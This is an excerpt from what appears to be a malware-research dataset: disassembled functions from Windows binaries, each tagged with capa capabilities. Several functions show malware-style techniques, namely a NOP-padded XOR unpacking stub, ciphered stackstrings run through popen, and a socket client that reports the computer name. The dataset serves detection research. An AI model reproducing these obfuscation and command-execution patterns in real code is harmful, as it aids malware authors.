joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404828
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4049e0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404889
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4049fc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4048f6
xor eax, eax
push ebp
push 0x4048ef
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4048d8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404a1c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4048f6
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4049d7
cmp byte [ebp - 0xd], 0
jne 0x404938
cmp byte [ebp - 0x12], 0
je 0x4049d7
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404951
dec ebx
cmp byte [ebx], 0x2e
je 0x404960
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404950
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4049d7
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40498d
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4049d7
cmp byte [ebp - 0xd], 0
je 0x4049d7
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4049d7
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4071c0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4072ca
push dword fs:[eax]
mov dword fs:[eax], esp
test esi, esi
jne 0x407213
push 0x105
lea eax, [ebp - 0x109]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_2
mov ecx, eax
lea edx, [ebp - 0x109]
mov eax, dword [ebp - 4]
call fcn.00403344
jmp 0x4072b1
call sub.kernel32.dll_GetCommandLineA_1
mov ebx, eax
mov eax, ebx
call fcn.00407174
mov ebx, eax
mov edi, ebx
mov eax, ebx
call fcn.00407194
mov ebx, eax
test esi, esi
je 0x40723b
dec esi
test esi, esi
jl 0x40723b
cmp edi, ebx
jne 0x40721a
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x110]
mov edx, edi
call fcn.00403414
mov eax, dword [ebp - 0x110]
mov ecx, ebx
sub ecx, edi
mov edx, 1
call fcn.00403680
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040347c
cmp eax, 2
jl 0x4072b1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp byte [eax], 0x22
jne 0x4072b1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040347c
mov edx, dword [ebp - 4]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x22
jne 0x4072b1
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.0040347c
mov ecx, eax
sub ecx, 2
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, 2
call fcn.00403680
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4072d1
lea eax, [ebp - 0x110]
call fcn.00403260
ret

Function at 0x40730c
Capabilities:
Get file attributes

Disassembly:
call fcn.00405c10
push eax
call sub.kernel32.dll_GetFileAttributesA
inc eax
je 0x407320
dec eax
and al, 0x10
sete al
ret

Function at 0x407610
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4076a8
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebx + 0x18], 0
jne 0x40765d
mov eax, dword [ebx + 0x19]
call fcn.00403640
push eax
push esi
mov eax, edi
call fcn.00403640
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403640
push eax
call sub.kernel32.dll_GetPrivateProfileIntA
mov dword [ebp - 4], eax
jmp 0x407692
mov dword [ebp - 4], esi
mov eax, dword [ebx + 0x19]
call fcn.00403640
push eax
lea edx, [ebp - 8]
mov eax, esi
call fcn.00406f9c
mov eax, dword [ebp - 8]
call fcn.00403640
push eax
mov eax, edi
call fcn.00403640
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403640
push eax
call sub.kernel32.dll_WritePrivateProfileStringA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4076af
lea eax, [ebp - 8]
call fcn.00403260
ret
Function at 0x40962c
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
call fcn.0040b244
test eax, eax
je 0x409648
cmp dword [eax + 0x155], ebx
jne 0x409648
xor edx, edx
mov dword [eax + 0x155], edx
mov ecx, dword [ebx + 0x18]
jecxz 0x409655
push 0
push ecx
call sub.user32.dll_ShowWindow
mov eax, ebx
call fcn.00405df8
mov eax, ebx
call fcn.0040adec
xor ecx, ecx
cmp byte [ebx + 0x8a], cl
jne 0x4097c3
xchg byte [ebx + 0xfb], cl
jecxz 0x409684
mov eax, dword [ebx + 0xf6]
call fcn.0040253c
inc byte [ebx + 0x8a]
mov eax, dword [ebx + 0x10a]
call fcn.00405ddc
mov eax, dword [ebx + 0x112]
call fcn.00405ddc
mov eax, dword [ebx + 0x40]
call fcn.00405ddc
xor ecx, ecx
mov dword [ebx + 0x10a], ecx
mov dword [ebx + 0x112], ecx
mov dword [ebx + 0x40], ecx
xchg dword [ebx + 0x52b], ecx
jecxz 0x4096c7
xchg ecx, eax
call fcn.0040253c
mov eax, dword [ebx + 0x52f]
call fcn.00405ddc
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x409744
xor ecx, ecx
xchg dword [ebx + 0x93], ecx
jecxz 0x4096e9
push ecx
call sub.user32.dll_DestroyAcceleratorTable
mov eax, dword [ebx + 0x8f]
call fcn.00405ddc
mov eax, dword [ebx + 0x97]
test eax, eax
je 0x409705
call fcn.00405ddc
jmp 0x4096f4
push dword [ebx + 0x18]
call sub.user32.dll_IsWindow
test eax, eax
je 0x40973f
push eax
push 1
push 0x80
push dword [ebx + 0x18]
call sub.user32.dll_SendMessageA
test eax, eax
je 0x409731
cmp byte [ebx + 0x35], 0
jne 0x409731
push eax
call sub.user32.dll_DestroyIcon
cmp byte [ebx + 0x48], 0
jne 0x40973f
push dword [ebx + 0x18]
call sub.user32.dll_DestroyWindow
xor eax, eax
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 0x36]
test eax, eax
je 0x409750
call fcn.0040253c
mov eax, dword [ebx + 0x26d]
test eax, eax
je 0x40975f
call fcn.0040253c
mov ecx, dword [ebx + 0x49]
jecxz 0x40977e
cmp dword [ecx + 0x155], ebx
jne 0x409774
xor eax, eax
mov dword [ecx + 0x155], eax
mov eax, dword [ecx + 0x60]
mov edx, ebx
call fcn.00405f70
mov ecx, dword [ebx + 0x79]
jecxz 0x409789
push ecx
call sub.gdi32.dll_DeleteObject
push ebx
push dword [ebx + 0x60]
push dword [ebx + 0x568]
push dword [ebx + 0x56c]
push dword [ebx + 0x2f5]
push dword [ebx + 0xcb]
mov bl, 5
pop eax
call fcn.00405ddc
dec bl
jne 0x4097a7
pop ebx
lea eax, [ebx + 0x4fb]
call fcn.00403260
xchg ebx, eax
call fcn.00405de8
pop ebx
ret
Function at 0x40a820
Capabilities:
Get graphical window text

Disassembly:
xchg edx, eax
movzx ecx, byte [edx + 0x3a]
jecxz 0x40a82f
mov edx, dword [edx + 0x36]
jmp fcn.00403414
mov ecx, dword [edx + 0x18]
jecxz 0x40a827
push ebx
push esi
xchg ebx, eax
mov esi, ecx
push esi
call sub.user32.dll_GetWindowTextLengthA
mov edx, eax
inc eax
push eax
mov eax, ebx
call fcn.004037ac
pop edx
mov ecx, dword [ebx]
jecxz 0x40a857
push edx
push ecx
push esi
call sub.user32.dll_GetWindowTextA
pop esi
pop ebx
ret

Function at 0x40dbdc
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
cmp byte [0x42742c], 0xff
je 0x40dbf2
mov al, byte [0x42742c]
jmp 0x40dc52
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
mov eax, dword [esp + 0x10]
cmp eax, 2
jne 0x40dc2b
mov al, 3
mov edx, dword [esp + 4]
cmp edx, 6
jb 0x40dc17
mov al, 6
jmp 0x40dc4d
cmp edx, 5
jb 0x40dc4d
cmp dword [esp + 8], 1
jb 0x40dc27
mov al, 5
jmp 0x40dc4d
mov al, 4
jmp 0x40dc4d
cmp eax, 1
jne 0x40dc4b
mov al, 1
cmp dword [esp + 4], 4
ja 0x40dc47
cmp dword [esp + 4], 4
jne 0x40dc4d
cmp dword [esp + 8], 0xa
jb 0x40dc4d
mov al, 2
jmp 0x40dc4d
xor eax, eax
mov byte [0x42742c], al
add esp, 0x94
ret

Function at 0x40eea0
Capabilities:
Initialize winsock library

Disassembly:
add esp, 0xfffffe70
cmp dword [0x427460], 0
jne 0x40eec1
push esp
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
sete al
jmp 0x40eec3
mov al, 1
inc dword [0x427460]
add esp, 0x190
ret
Function at 0x41f39c
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41f550
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403260
test ebx, ebx
je 0x41f535
mov eax, ebx
call fcn.0040347c
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, 3
xor edx, edx
div ecx
mov ecx, edx
cmp ecx, 1
jne 0x41f3fa
lea eax, [ebp - 0xc]
mov ecx, 0x41f568
mov edx, ebx
call fcn.004034c8
jmp 0x41f41a
cmp ecx, 2
jne 0x41f410
lea eax, [ebp - 0xc]
mov ecx, 0x41f574
mov edx, ebx
call fcn.004034c8
jmp 0x41f41a
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.004032f8
mov eax, dword [ebp - 0xc]
call fcn.0040347c
mov dword [ebp - 8], eax
mov edi, 1
jmp 0x41f4e6
push dword [esi]
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov bl, byte [edx + edi - 1]
xor edx, edx
mov dl, bl
shr edx, 2
mov ecx, dword [0x427678]
mov dl, byte [ecx + edx]
call fcn.00403404
push dword [ebp - 0x10]
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
and bl, 3
xor edx, edx
mov dl, bl
shl edx, 4
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + edi]
shr ecx, 4
add edx, ecx
mov ecx, dword [0x427678]
mov dl, byte [ecx + edx]
call fcn.00403404
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + edi]
and dl, 0xf
and edx, 0xff
shl edx, 2
mov ecx, dword [ebp - 0xc]
movzx ecx, byte [ecx + edi + 1]
shr ecx, 6
add edx, ecx
mov ecx, dword [0x427678]
mov dl, byte [ecx + edx]
call fcn.00403404
push dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov dl, byte [edx + edi + 1]
and dl, 0x3f
and edx, 0xff
mov ecx, dword [0x427678]
mov dl, byte [ecx + edx]
call fcn.00403404
push dword [ebp - 0x1c]
mov eax, esi
mov edx, 5
call fcn.0040353c
add edi, 3
mov eax, dword [ebp - 8]
sub eax, 2
cmp edi, eax
jbe 0x41f42f
mov eax, dword [ebp - 4]
mov ecx, 3
xor edx, edx
div ecx
mov ebx, edx
cmp ebx, 1
jne 0x41f51c
mov eax, dword [esi]
call fcn.0040347c
mov edi, eax
mov eax, esi
call fcn.0040364c
mov byte [eax + edi - 2], 0x3d
test ebx, ebx
jbe 0x41f535
mov eax, dword [esi]
call fcn.0040347c
mov ebx, eax
mov eax, esi
call fcn.0040364c
mov byte [eax + ebx - 1], 0x3d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f557
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00403284
ret
Function at 0x41fd54
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41feb8
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040eea0
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 4], eax
lea eax, [ebp - 0x14]
mov edx, 0x10
call fcn.00405910
mov word [ebp - 0x14], 2
mov eax, esi
call fcn.00403640
mov edi, eax
push edi
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x41fdcf
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
mov dword [ebx + 4], eax
mov edx, 1
mov eax, ebx
call fcn.00420080
jmp 0x41fe9d
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x41fde8
push edi
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x10], eax
mov ax, word [ebx + 0x24]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_connect
test eax, eax
je 0x41fe1a
mov edx, 2
mov eax, ebx
call fcn.00420080
jmp 0x41fe9d
lea edx, [ebp - 0x28]
mov eax, ebx
call fcn.0041ffc4
mov eax, dword [ebp - 0x28]
mov edx, 0x41fed0
call fcn.0040358c
jne 0x41fe91
mov dword [ebp - 4], 0x10
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x24]
mov ecx, 0x10
call fcn.00403450
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x2c]
mov edx, 0x41fedc
call fcn.004034c8
mov edx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x28]
mov eax, ebx
call fcn.0042008c
mov eax, dword [ebp - 0x28]
mov edx, 0x41fed0
call fcn.0040358c
je 0x41fe9d
mov eax, ebx
call fcn.0041fee4
xor eax, eax
mov dword [ebx + 4], eax
jmp 0x41fe9d
mov eax, ebx
call fcn.0041fee4
xor eax, eax
mov dword [ebx + 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41febf
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00403284
ret
Function at 0x41ffc4
Capabilities:
Get socket status
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
lea edi, [esp + 4]
mov ebp, esp
mov eax, edi
call fcn.0040e2e4
mov edx, edi
mov eax, dword [esi + 4]
call fcn.0040e2d4
push 0
push 0
push 0
push edi
push 0
call sub.wsock32.dll_select
push ebp
push 0x4004667f
mov eax, dword [esi + 4]
push eax
call sub.wsock32.dll_ioctlsocket
mov eax, ebx
mov edx, dword [ebp]
call fcn.004037ac
push 0
mov eax, dword [ebp]
push eax
mov eax, ebx
call fcn.0040364c
push eax
mov eax, dword [esi + 4]
push eax
call sub.wsock32.dll_recv
lea eax, [esi + 8]
mov edx, dword [ebx]
call fcn.004032b4
cmp dword [ebx], 0
jne 0x420044
mov eax, ebx
mov edx, 0x42007c
call fcn.004032f8
jmp 0x42004f
mov eax, ebx
mov edx, dword [ebx]
mov dl, byte [edx]
call fcn.00403404
mov eax, dword [ebx]
call fcn.0040347c
cmp eax, 4
jl 0x420067
mov eax, dword [ebx]
cmp byte [eax + 3], 0x2d
je 0x41ffd8
add esp, 0x108
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x631e025b
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x4cd73d16
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40159e
Capabilities:
Contain obfuscated stackstrings
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0x118], 0x101
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
lea eax, [ebp - 0x111]
mov dword [esp], eax
call sym._GetUserNameA_8
sub esp, 8
lea eax, [ebp - 0x111]
mov dword [esp + 4], eax
mov dword [esp], 0x408180
call sym._strcpy
mov dword [esp + 4], 1
mov dword [esp], str.tpjvznlzlyphsutily
call sym._cipher
mov dword [esp + 4], 0x406067
mov dword [esp], str.tpjvznlzlyphsutily
call sym._popen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401663
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fgetc
mov byte [ebp - 0x119], al
movzx eax, byte [ebp - 0x119]
cmp al, 0x39
jg 0x401658
movzx eax, byte [ebp - 0x119]
cmp al, 0x2f
jle 0x401658
mov dword [esp + 8], 1
lea eax, [ebp - 0x119]
mov dword [esp + 4], eax
mov dword [esp], 0x408180
call sym._strncat
movzx eax, byte [ebp - 0x119]
cmp al, 0xff
jne 0x401613
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._pclose
mov dword [ebp - 0x145], 0x73797c6a
mov dword [ebp - 0x141], 0x7b7b6f27
mov dword [ebp - 0x13d], 0x36364177
mov dword [ebp - 0x139], 0x686a7673
mov dword [ebp - 0x135], 0x7a766f73
mov dword [ebp - 0x131], 0x3e3e417b
mov dword [ebp - 0x12d], 0x70776836
mov dword [ebp - 0x129], 0x79687b36
mov dword [ebp - 0x125], 0x367b6c6e
mov dword [ebp - 0x121], 0x466b6b68
mov dword [ebp - 0x11d], 0x446b70
mov dword [esp + 4], 1
lea eax, [ebp - 0x145]
mov dword [esp], eax
call sym._cipher
mov dword [esp + 4], 0
mov dword [esp], 0x408180
call sym._cipher
mov dword [esp], 0x408180
call sym._strlen
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408180
lea eax, [ebp - 0x145]
mov dword [esp], eax
call sym._strncat
mov dword [esp + 4], 0x406069
lea eax, [ebp - 0x145]
mov dword [esp], eax
call sym._popen
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._pclose
nop
leave
ret
Function at 0x401753
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2d58
call fcn.004024a0
sub esp, eax
mov dword [ebp - 0x2c10], 0
lea eax, [ebp - 0x2c0c]
mov edx, 0x27fc
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x2c43], 0x73797c6a
mov dword [ebp - 0x2c3f], 0x277a3427
mov dword [ebp - 0x2c3b], 0x777b7b6f
mov dword [ebp - 0x2c37], 0x73363641
mov dword [ebp - 0x2c33], 0x73686a76
mov dword [ebp - 0x2c2f], 0x7b7a766f
mov dword [ebp - 0x2c2b], 0x363e3e41
mov dword [ebp - 0x2c27], 0x36707768
mov dword [ebp - 0x2c23], 0x6e79687b
mov dword [ebp - 0x2c1f], 0x6a367b6c
mov dword [ebp - 0x2c1b], 0x6e366b74
mov dword [ebp - 0x2c17], 0x70467b6c
mov word [ebp - 0x2c13], 0x446b
mov byte [ebp - 0x2c11], 0
mov dword [esp + 4], 1
lea eax, [ebp - 0x2c43]
mov dword [esp], eax
call sym._cipher
mov dword [esp], 0x408180
call sym._strlen
mov dword [esp + 8], eax
mov dword [esp + 4], 0x408180
lea eax, [ebp - 0x2c43]
mov dword [esp], eax
call sym._strncat
mov dword [esp + 4], 0x406067
lea eax, [ebp - 0x2c43]
mov dword [esp], eax
call sym._popen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4018bb
movzx eax, byte [0x40606b]
mov byte [0x408020], al
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._fgetc
mov byte [ebp - 0x2c44], al
mov dword [esp + 8], 1
lea eax, [ebp - 0x2c44]
mov dword [esp + 4], eax
mov dword [esp], 0x408020
call sym._strncat
movzx eax, byte [ebp - 0x2c44]
cmp al, 0xff
jne 0x401881
mov dword [esp + 4], 0x408020
mov dword [esp], 0x406064
call sym._printf
nop
leave
ret
Function at 0x401f60
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408144
call sym._EnterCriticalSection_4
mov ebx, dword [0x40813c]
sub esp, 4
test ebx, ebx
je 0x401fab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401fa4
test esi, esi
je 0x401fa4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f80
mov dword [esp], 0x408144
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402190
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4021e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4022b8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40221e
cmp eax, 4
jne 0x402240
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40222e
cmp edx, 4
je 0x40222e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402190
Function at 0x401306
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x522638]
jne 0x401310
repz ret
jmp fcn.004bd184

Function at 0x401a30
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [ecx + 4]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x401a40
xor al, al
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x401a3d
mov ecx, 0xe0
cmp word [eax + 0x14], cx
jne 0x401a3d
mov edx, 0x10b
cmp word [eax + 0x18], dx
sete al
ret

Function at 0x402df0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
test ebx, ebx
jne 0x402e0b
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [esi + 4]
mov eax, dword [ecx + 0x3c]
mov eax, dword [eax + ecx + 0x78]
mov edx, dword [esi]
mov edx, dword [edx]
push edi
push eax
mov ecx, esi
call edx
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x402eb0
mov eax, dword [ebp + 8]
cmp eax, 0xffff
ja 0x402e44
pop edi
mov word [ebx], ax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [edi + 0x20]
mov eax, dword [esi]
mov edx, dword [eax]
push ecx
mov ecx, esi
call edx
mov ebx, eax
mov eax, dword [edi + 0x18]
lea eax, [ebx + eax*4]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], eax
cmp ebx, eax
je 0x402eb0
jmp 0x402e67
mov eax, dword [ebp - 4]
sub eax, ebx
sar eax, 2
cdq
sub eax, edx
mov edx, dword [esi]
mov edx, dword [edx]
sar eax, 1
lea edi, [ebx + eax*4]
mov eax, dword [edi]
push eax
mov ecx, esi
call edx
mov ecx, dword [ebp + 8]
mov dl, byte [ecx]
test dl, dl
je 0x402e95
cmp dl, byte [eax]
jne 0x402e95
mov dl, byte [ecx + 1]
inc ecx
inc eax
test dl, dl
jne 0x402e88
movzx edx, byte [eax]
movzx eax, byte [ecx]
sub eax, edx
je 0x402ebb
test eax, eax
jle 0x402ea8
lea ebx, [edi + 4]
jmp 0x402eab
mov dword [ebp - 4], edi
cmp ebx, dword [ebp - 4]
jne 0x402e64
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [ebp - 8]
mov ecx, dword [ebx + 0x24]
mov eax, dword [esi]
mov edx, dword [eax]
push ecx
mov ecx, esi
call edx
sub edi, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
sar edi, 2
mov ax, word [eax + edi*2]
add ax, word [ebx + 0x10]
pop edi
pop esi
mov word [ecx], ax
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8